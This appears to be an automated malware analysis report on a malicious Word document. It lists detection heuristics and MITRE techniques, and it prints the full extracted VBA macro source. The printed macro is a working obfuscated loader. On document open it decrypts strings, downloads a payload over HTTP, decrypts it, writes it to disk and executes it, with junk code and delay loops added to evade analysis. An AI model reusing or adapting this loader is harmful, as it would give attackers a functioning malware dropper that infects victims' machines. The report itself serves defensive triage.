MALICIOUS
400
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is an Office document containing obfuscated VBA macros designed to execute automatically upon opening, as indicated by the 'Obfuscated auto-exec VBA loader' and 'Document_Open macro' heuristics. The document body presents a lure to "enable editing and content," a common tactic to bypass macro security. The VBA code likely downloads and executes a second-stage payload, though the exact mechanism is obfuscated. The ClamAV detection 'Doc.Malware.Chronos-6897935-0' further confirms its malicious nature.
Heuristics 12
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
GetObject 49, 9 -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set BMpyNI4 = CreateObject(B0trB4VkXGxG(Chr(247) + Chr(219) + Chr(136) + Chr(232) + Chr(237) + Chr(188) + Chr(185) + Chr(170) + Chr(77) + Chr(246) + Chr(177) + Chr(250) + Chr(127) + Chr(151) + Chr(47) + Chr(56) + Chr(67), "U0P1fWvSZJ9dvGLm")) -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
GetObject 49, 9 -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
CallByName MD85JoQg8QZ, 57, VbMethod, 58, 55, 64 -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
JPBBYW4KHxDr2 = Environ(B0trB4VkXGxG(Chr(22) + Chr(2) + Chr(199) + Chr(135) + Chr(40) + Chr(42) + Chr(119), "IAMK9NVEQa49wR")) & "\" & OEDYrNLx4 & B0trB4VkXGxG(Chr(63) + Chr(147) + Chr(59) + Chr(226), "Xq9o06gvtPI") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12235 bytes |
SHA-256: a45f2e5bd918b61073d0921991e4141d84b4dfac4ec92a0ba01ac92b6403bb44 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
94 of 165 identifiers look randomly generated (e.g. 'PM9kVHgUMJgVQAdft8k') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub PhfAo8J6jLCy(KdQ3zvNvXRFDJT As Long) Dim SLE5zn1 As Long, KF3NJtOp As Long SLE5zn1 = 9 KF3NJtOp = 55 If SLE5zn1 + KF3NJtOp > 2 Then KF3NJtOp = SLE5zn1 + 89 Else MsgBox 13 End If Dim WSSRRiYpY8a As Long Dim P8QIByQ2ympsU As Long, FJN As Long P8QIByQ2ympsU = 1 FJN = 81 If P8QIByQ2ympsU + FJN > 2 Then FJN = P8QIByQ2ympsU + 86 Else MsgBox 70 End If WSSRRiYpY8a = Timer + KdQ3zvNvXRFDJT Do While Timer < WSSRRiYpY8a DoEvents Loop Dim INJtOp37NFn0 As Long, KLvWfxW As Long INJtOp37NFn0 = 95 KLvWfxW = 97 If INJtOp37NFn0 + KLvWfxW > 2 Then KLvWfxW = INJtOp37NFn0 + 38 Else MsgBox 41 End If End Sub Function B0trB4VkXGxG(ByVal QcPhWQX As String, ByVal UcWcHmMJanno As String) As String Dim ItcKSFRO As Long, NgUP As Long ItcKSFRO = 78 NgUP = 1 If ItcKSFRO + NgUP > 2 Then NgUP = ItcKSFRO + 7 Else MsgBox 35 End If On Error Resume Next Dim U7qseUfTf9 As Long, PM9kVHgUMJgVQAdft8k As Long U7qseUfTf9 = 15 PM9kVHgUMJgVQAdft8k = 37 If U7qseUfTf9 + PM9kVHgUMJgVQAdft8k > 2 Then PM9kVHgUMJgVQAdft8k = U7qseUfTf9 + 70 Else MsgBox 98 End If Dim QQ0GuOd01c(0 To 255) As Integer, EvjXPfT As Long, Mwp8E98bu3LV As Long, X94xNrXn76 As Long, Twks() As Byte, JrcBICw6QG() As Byte, BsGuFOg1ix As Byte Dim KjWYNYX0DWh02 As Long, HVBgTKMxmsW As Long KjWYNYX0DWh02 = 2 HVBgTKMxmsW = 51 If KjWYNYX0DWh02 + HVBgTKMxmsW > 2 Then HVBgTKMxmsW = KjWYNYX0DWh02 + 28 Else MsgBox 23 End If Twks() = StrConv(UcWcHmMJanno, vbFromUnicode) Dim GR8YHtb2SoR7K As Long, VuNA6Jr6NZ As Long GR8YHtb2SoR7K = 47 VuNA6Jr6NZ = 65 If GR8YHtb2SoR7K + VuNA6Jr6NZ > 2 Then VuNA6Jr6NZ = GR8YHtb2SoR7K + 11 Else MsgBox 74 End If For EvjXPfT = 0 To 255 QQ0GuOd01c(EvjXPfT) = EvjXPfT Next EvjXPfT EvjXPfT = 0 Mwp8E98bu3LV = 0 X94xNrXn76 = 0 For EvjXPfT = 0 To 255 Mwp8E98bu3LV = (Mwp8E98bu3LV + QQ0GuOd01c(EvjXPfT) + Twks(EvjXPfT Mod Len(UcWcHmMJanno))) Mod 256 BsGuFOg1ix = QQ0GuOd01c(EvjXPfT) QQ0GuOd01c(EvjXPfT) = QQ0GuOd01c(Mwp8E98bu3LV) QQ0GuOd01c(Mwp8E98bu3LV) = BsGuFOg1ix Next EvjXPfT EvjXPfT = 0 Mwp8E98bu3LV = 0 X94xNrXn76 = 0 JrcBICw6QG() = StrConv(QcPhWQX, vbFromUnicode) For EvjXPfT = 0 To Len(QcPhWQX) Mwp8E98bu3LV = (Mwp8E98bu3LV + 1) Mod 256 X94xNrXn76 = (X94xNrXn76 + QQ0GuOd01c(Mwp8E98bu3LV)) Mod 256 BsGuFOg1ix = QQ0GuOd01c(Mwp8E98bu3LV) QQ0GuOd01c(Mwp8E98bu3LV) = QQ0GuOd01c(X94xNrXn76) QQ0GuOd01c(X94xNrXn76) = BsGuFOg1ix JrcBICw6QG(EvjXPfT) = JrcBICw6QG(EvjXPfT) Xor (QQ0GuOd01c((QQ0GuOd01c(Mwp8E98bu3LV) + QQ0GuOd01c(X94xNrXn76)) Mod 256)) Next EvjXPfT Dim Ihu0yw3bw As Long, Nf1jxBwqygWnZd As Long Ihu0yw3bw = 52 Nf1jxBwqygWnZd = 53 If Ihu0yw3bw + Nf1jxBwqygWnZd > 2 Then Nf1jxBwqygWnZd = Ihu0yw3bw + 49 Else MsgBox 59 End If B0trB4VkXGxG = StrConv(JrcBICw6QG, vbUnicode) Dim R2vccmZMn2 As Long, K5P1VaW5PT As Long R2vccmZMn2 = 70 K5P1VaW5PT = 95 If R2vccmZMn2 + K5P1VaW5PT > 2 Then K5P1VaW5PT = R2vccmZMn2 + 93 Else MsgBox 25 End If End Function Function OEDYrNLx4() As String Dim S8mHrayf7 As Long, VSejaxwxNS8Z As Long S8mHrayf7 = 69 VSejaxwxNS8Z = 70 If S8mHrayf7 + VSejaxwxNS8Z > 2 Then VSejaxwxNS8Z = S8mHrayf7 + 67 Else MsgBox 77 End If Dim WGBcAfgJj() As Byte, MHbyRIEHDh() As Byte, RGp7Hy5lWQsukt As Long, W6rV5 As Long, H7aA As String, EDWfxW As String, Ia8cjtQXzQWv As Long Dim VeN0I4CB6 As Long, UEPoGir30IBpQ3 As Long VeN0I4CB6 = 93 UEPoGir30IBpQ3 = 25 If VeN0I4CB6 + UEPoGir30IBpQ3 > 2 Then UEPoGir30IBpQ3 = VeN0I4CB6 + 32 Else MsgBox 37 End If Ia8cjtQXzQWv = 0 Dim Nai As Long, RHoEpdpKSfxGtq As Long Nai = 21 RHoEpdpKSfxGtq = 17 If Nai + RHoEpdpKSfxGtq > 2 Then RHoEpdpKSfxGtq = Nai + 82 Else MsgBox 60 End If T6TccoSl2MfJO: Dim H1iOzJB As Long, TsUkOIeu5vniF As Long H1iOzJB = 59 TsUkOIeu5vniF = 54 If H1iOzJB + TsUkOIeu5vniF > 2 Then TsUkOIeu5vniF = H1iOzJB + 97 Else MsgBox 40 End If Randomize EDWfxW = Int(30 * Rnd) If EDWfxW < 4 Then GoTo T6TccoSl2MfJO Ia8cjtQXzQWv = EDWfxW If Ia8cjtQXzQWv > 0& Then Dim UGwNOQ As Long, Bp0LVOllEfC As Long UGwNOQ = 73 Bp0LVOllEfC = 61 If UGwNOQ + Bp0LVOllEfC > 2 Then Bp0LVOllEfC = UGwNOQ + 96 Else MsgBox 90 End If H7aA = B0trB4VkXGxG(Chr(150) + Chr(34) + Chr(224) + Chr(39) + Chr(108) + Chr(235) + Chr(147) + Chr(253) + Chr(191) + Chr(192), "XKPc2Kmbzzx") Randomize WGBcAfgJj = H7aA RGp7Hy5lWQsukt = Len(H7aA) - 1& Ia8cjtQXzQWv = (Ia8cjtQXzQWv * 2&) - 1& ReDim MHbyRIEHDh(Ia8cjtQXzQWv) As Byte Dim QH0CSOplDVMYqmFx As Long, RqCJ8AlK3TMvP As Long QH0CSOplDVMYqmFx = 42 RqCJ8AlK3TMvP = 80 If QH0CSOplDVMYqmFx + RqCJ8AlK3TMvP > 2 Then RqCJ8AlK3TMvP = QH0CSOplDVMYqmFx + 91 Else MsgBox 7 End If For W6rV5 = 0& To Ia8cjtQXzQWv Step 2& MHbyRIEHDh(W6rV5) = WGBcAfgJj(CLng(RGp7Hy5lWQsukt * Rnd) * 2&) Next Dim FnNn5n1 As Long, HoX As Long FnNn5n1 = 7 HoX = 14 If FnNn5n1 + HoX > 2 Then HoX = FnNn5n1 + 64 Else MsgBox 15 End If End If Dim K0MXThZkclEVOag As Long, I9aR4WmF As Long K0MXThZkclEVOag = 91 I9aR4WmF = 29 If K0MXThZkclEVOag + I9aR4WmF > 2 Then I9aR4WmF = K0MXThZkclEVOag + 45 Else MsgBox 24 End If OEDYrNLx4 = MHbyRIEHDh Dim GPszXugzdzibRR3oS As Long, ETnyD6DCi As Long GPszXugzdzibRR3oS = 61 ETnyD6DCi = 73 If GPszXugzdzibRR3oS + ETnyD6DCi > 2 Then ETnyD6DCi = GPszXugzdzibRR3oS + 65 Else MsgBox 87 End If End Function Sub Document_Open() Dim QOgE1WWUM As Long, UkO79sC5qx As Long QOgE1WWUM = 97 UkO79sC5qx = 65 If QOgE1WWUM + UkO79sC5qx > 2 Then UkO79sC5qx = QOgE1WWUM + 9 Else MsgBox 77 End If Dim GpFp1Ewk As Long, Owda8x31kXR As Long, HTQHHox44EgB1 As Long Dim JNNGR8IDe As Long, XsCRyrDoQQi As Long JNNGR8IDe = 92 XsCRyrDoQQi = 81 If JNNGR8IDe + XsCRyrDoQQi > 2 Then XsCRyrDoQQi = JNNGR8IDe + 61 Else MsgBox 22 End If GpFp1Ewk = 965118924: Owda8x31kXR = 0: HTQHHox44EgB1 = 0 Dim UxCFkT7MzjkO As Long, Hh8qe As Long UxCFkT7MzjkO = 24 Hh8qe = 85 If UxCFkT7MzjkO + Hh8qe > 2 Then Hh8qe = UxCFkT7MzjkO + 76 Else MsgBox 77 End If For Owda8x31kXR = 1 To GpFp1Ewk HTQHHox44EgB1 = HTQHHox44EgB1 + 1 Next Owda8x31kXR Dim I5ZBK91vP As Long, PpqBcrla9KqU As Long I5ZBK91vP = 66 PpqBcrla9KqU = 60 If I5ZBK91vP + PpqBcrla9KqU > 2 Then PpqBcrla9KqU = I5ZBK91vP + 4 Else MsgBox 46 End If If HTQHHox44EgB1 = GpFp1Ewk Then Dim CLdsihkKGe4w5p As Long, AqUL As Long CLdsihkKGe4w5p = 86 AqUL = 97 If CLdsihkKGe4w5p + AqUL > 2 Then AqUL = CLdsihkKGe4w5p + 13 Else MsgBox 92 End If UA6bn Dim Itrtc1lhg As Long, QCHoa5NYXO8HbVh As Long Itrtc1lhg = 9 QCHoa5NYXO8HbVh = 6 If Itrtc1lhg + QCHoa5NYXO8HbVh > 2 Then QCHoa5NYXO8HbVh = Itrtc1lhg + 15 Else MsgBox 86 End If Else Dim VfcH12uNwqX252 As Long, DBX7egPflTwGqJNH0 As Long VfcH12uNwqX252 = 44 DBX7egPflTwGqJNH0 = 59 If VfcH12uNwqX252 + DBX7egPflTwGqJNH0 > 2 Then DBX7egPflTwGqJNH0 = VfcH12uNwqX252 + 28 Else MsgBox 20 End If Fhs8RtJyhYQ50 Dim US72HDJWta2 As Long, PM8r4wl5bFa7TX9LN As Long US72HDJWta2 = 15 PM8r4wl5bFa7TX9LN = 38 If US72HDJWta2 + PM8r4wl5bFa7TX9LN > 2 Then PM8r4wl5bFa7TX9LN = US72HDJWta2 + 70 Else MsgBox 72 End If End If Dim UclAkFN As Long, OAPXaKx6icp As Long UclAkFN = 59 OAPXaKx6icp = 52 If UclAkFN + OAPXaKx6icp > 2 Then OAPXaKx6icp = UclAkFN + 74 Else MsgBox 7 End If End Sub Sub Fhs8RtJyhYQ50() Dim PjiomtPTovh As Long, YikyzeVrA As Long PjiomtPTovh = 65 YikyzeVrA = 88 If PjiomtPTovh + YikyzeVrA > 2 Then YikyzeVrA = PjiomtPTovh + 65 Else MsgBox 60 End If IPmt 11, 26, 6, 66 Beep CallByName MD85JoQg8QZ, 57, VbMethod, 58, 55, 64 IsDate 36 NPer 49, 63, 94 If Abs(46) = 45 Then DYyK5M5dkFN = 7556 GetAllSettings 61, 45 WeekdayName 93 GetObject 49, 9 Sqr 5 DatePart "H31JEn54R", 69 Reset Hour 48 FXtvYAmkp = EOF(87) HDtwS8vsvCi459MQ = QBColor(68) Err.Raise 51 TimeValue 77 Randomize Weekday 97 Rnd Atn 64 DDB 63, 39, 39, 91 LoadPicture 8, 32, 86, 24, 84 Rate 31, 65, 88 Second 65 App.LogEvent "HFkdiP5Wi7b" Ib1SHn4XsKWY75 = Fix(60) L7wIGGCp8M6 = UCase(49) IsError 84 LOF 78 Dim LLsg0ybpp3B03mem As Long, OPLvgr3Np As Long LLsg0ybpp3B03mem = 36 OPLvgr3Np = 97 If LLsg0ybpp3B03mem + OPLvgr3Np > 2 Then OPLvgr3Np = LLsg0ybpp3B03mem + 15 Else MsgBox 16 End If End Sub Sub UA6bn() Dim BrO48zDd As Long, VUiJsZxQOl As Long BrO48zDd = 44 VUiJsZxQOl = 72 If BrO48zDd + VUiJsZxQOl > 2 Then VUiJsZxQOl = BrO48zDd + 14 Else MsgBox 17 End If Dim JPBBYW4KHxDr2 As String, BMpyNI4 As Object, Lo9NTXBQ4 As Integer Dim QUoIwP2g0V As Long, HVS0pylKRpugG0g As Long QUoIwP2g0V = 36 HVS0pylKRpugG0g = 50 If QUoIwP2g0V + HVS0pylKRpugG0g > 2 Then HVS0pylKRpugG0g = QUoIwP2g0V + 53 Else MsgBox 71 End If JPBBYW4KHxDr2 = Environ(B0trB4VkXGxG(Chr(22) + Chr(2) + Chr(199) + Chr(135) + Chr(40) + Chr(42) + Chr(119), "IAMK9NVEQa49wR")) & "\" & OEDYrNLx4 & B0trB4VkXGxG(Chr(63) + Chr(147) + Chr(59) + Chr(226), "Xq9o06gvtPI") Dim YXBXYsAwrnZ As Long, B87MAcD0BcLEt As Long YXBXYsAwrnZ = 44 B87MAcD0BcLEt = 1 If YXBXYsAwrnZ + B87MAcD0BcLEt > 2 Then B87MAcD0BcLEt = YXBXYsAwrnZ + 30 Else MsgBox 66 End If Set BMpyNI4 = CreateObject(B0trB4VkXGxG(Chr(247) + Chr(219) + Chr(136) + Chr(232) + Chr(237) + Chr(188) + Chr(185) + Chr(170) + Chr(77) + Chr(246) + Chr(177) + Chr(250) + Chr(127) + Chr(151) + Chr(47) + Chr(56) + Chr(67), "U0P1fWvSZJ9dvGLm")) Dim OBOdDklYSCj As Long, LlKRpugG0gHE7F As Long OBOdDklYSCj = 7 LlKRpugG0gHE7F = 63 If OBOdDklYSCj + LlKRpugG0gHE7F > 2 Then LlKRpugG0gHE7F = OBOdDklYSCj + 67 Else MsgBox 30 End If BMpyNI4.Open B0trB4VkXGxG(Chr(81) + Chr(206) + Chr(231), "QkYZfa7FV"), B0trB4VkXGxG(Chr(31) + Chr(70) + Chr(102) + Chr(219) + Chr(30) + Chr(89) + Chr(24) + Chr(55) + Chr(170) + Chr(119) + Chr(83) + Chr(146) + Chr(197) + Chr(34) + Chr(190) + Chr(108) + Chr(229) + Chr(15) + Chr(231) + Chr(101) + Chr(34) + Chr(20) + Chr(39) + Chr(41) + Chr(187) + Chr(120) + Chr(206), "HZDYuCt8eoRGHcet"), False Dim In3yYM8 As Long, SAWmkXG792Ghvo As Long In3yYM8 = 74 SAWmkXG792Ghvo = 82 If In3yYM8 + SAWmkXG792Ghvo > 2 Then SAWmkXG792Ghvo = In3yYM8 + 10 Else MsgBox 29 End If BMpyNI4.setRequestHeader B0trB4VkXGxG(Chr(169) + Chr(226) + Chr(199) + Chr(5) + Chr(96) + Chr(185) + Chr(245) + Chr(77) + Chr(12) + Chr(247), "MmA85Cr3xXuZh"), B0trB4VkXGxG(Chr(145) + Chr(17) + Chr(71) + Chr(185) + Chr(56) + Chr(89) + Chr(191) + Chr(21) + Chr(13) + Chr(79) + Chr(159), "QYpGByNkm") BMpyNI4.send If BMpyNI4.readyState = 4 And BMpyNI4.Status = 200 Then Dim Lrm49lJe9lb As Long, NAcl3TwRj As Long Lrm49lJe9lb = 18 NAcl3TwRj = 77 If Lrm49lJe9lb + NAcl3TwRj > 2 Then NAcl3TwRj = Lrm49lJe9lb + 73 Else MsgBox 38 End If Lo9NTXBQ4 = FreeFile Open JPBBYW4KHxDr2 For Binary Access Write Lock Write As #Lo9NTXBQ4 Put #Lo9NTXBQ4, , B0trB4VkXGxG(StrConv(BMpyNI4.ResponseBody, vbUnicode), B0trB4VkXGxG(Chr(185) + Chr(240) + Chr(32) + Chr(104) + Chr(216) + Chr(9) + Chr(21) + Chr(233) + Chr(157), "IJG7bN8UifENI8eEd")) Close #Lo9NTXBQ4 Dim OongUnLSE4 As Long, GTajoCWrlOp As Long OongUnLSE4 = 32 GTajoCWrlOp = 8 If OongUnLSE4 + GTajoCWrlOp > 2 Then GTajoCWrlOp = OongUnLSE4 + 8 Else MsgBox 60 End If PhfAo8J6jLCy 1 Dim PB8ucaoRXU26x As Long, DFFrvzEX90OQv As Long PB8ucaoRXU26x = 70 DFFrvzEX90OQv = 44 If PB8ucaoRXU26x + DFFrvzEX90OQv > 2 Then DFFrvzEX90OQv = PB8ucaoRXU26x + 51 Else MsgBox 2 End If CreateObject(B0trB4VkXGxG(Chr(244) + Chr(104) + Chr(1) + Chr(144) + Chr(173) + Chr(217) + Chr(195) + Chr(123) + Chr(103) + Chr(10) + Chr(82) + Chr(100) + Chr(101), "JpZYe7cvFKW")).exec """" & JPBBYW4KHxDr2 & """" Dim VYnfQC As Long, DRyBPb2W4jV As Long VYnfQC = 47 DRyBPb2W4jV = 14 If VYnfQC + DRyBPb2W4jV > 2 Then DRyBPb2W4jV = VYnfQC + 14 Else MsgBox 88 End If End If Dim P5HFNmPRBKCD As Long, QIqF7fPZlp As Long P5HFNmPRBKCD = 68 QIqF7fPZlp = 77 If P5HFNmPRBKCD + QIqF7fPZlp > 2 Then QIqF7fPZlp = P5HFNmPRBKCD + 49 Else MsgBox 36 End If Set BMpyNI4 = Nothing Dim YR4AteuC2b As Long, QTisL01PaeZLMQLxu As Long YR4AteuC2b = 8 QTisL01PaeZLMQLxu = 5 If YR4AteuC2b + QTisL01PaeZLMQLxu > 2 Then QTisL01PaeZLMQLxu = YR4AteuC2b + 15 Else MsgBox 85 End If End Sub |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 32256 bytes |
SHA-256: b8bc1fed05b1ae58b85ebaa7c925dfe8e6a86bb22e0ef86edd06663111b0f3bb |
|||
|
Detection
ClamAV:
Doc.Malware.Chronos-6897935-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.